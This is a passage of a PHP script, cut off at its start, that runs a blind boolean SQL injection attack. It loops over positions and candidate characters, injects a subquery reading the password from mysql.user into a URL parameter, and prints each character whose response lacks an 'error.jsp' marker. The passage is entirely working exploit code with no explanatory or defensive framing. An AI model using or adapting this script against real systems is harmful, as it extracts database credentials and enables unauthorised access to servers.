$value){                $query = urlencode("46 and (select substr((select password from mysql.user limit 1),".$i.",1))='".$value."'");                $url = $base.$query;                curl_setopt($ch, CURLOPT_URL, $url);                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);                curl_setopt($ch, CURLOPT_HEADER, 0);                $back = curl_exec($ch);                /*$code = curl_getinfo($ch,CURLINFO_HTTP_CODE);                if($code == 200){                    echo $value;                    break;                }                */                if(!strpos($back,'error.jsp')){                    echo $value;                    break;                }        }    }?>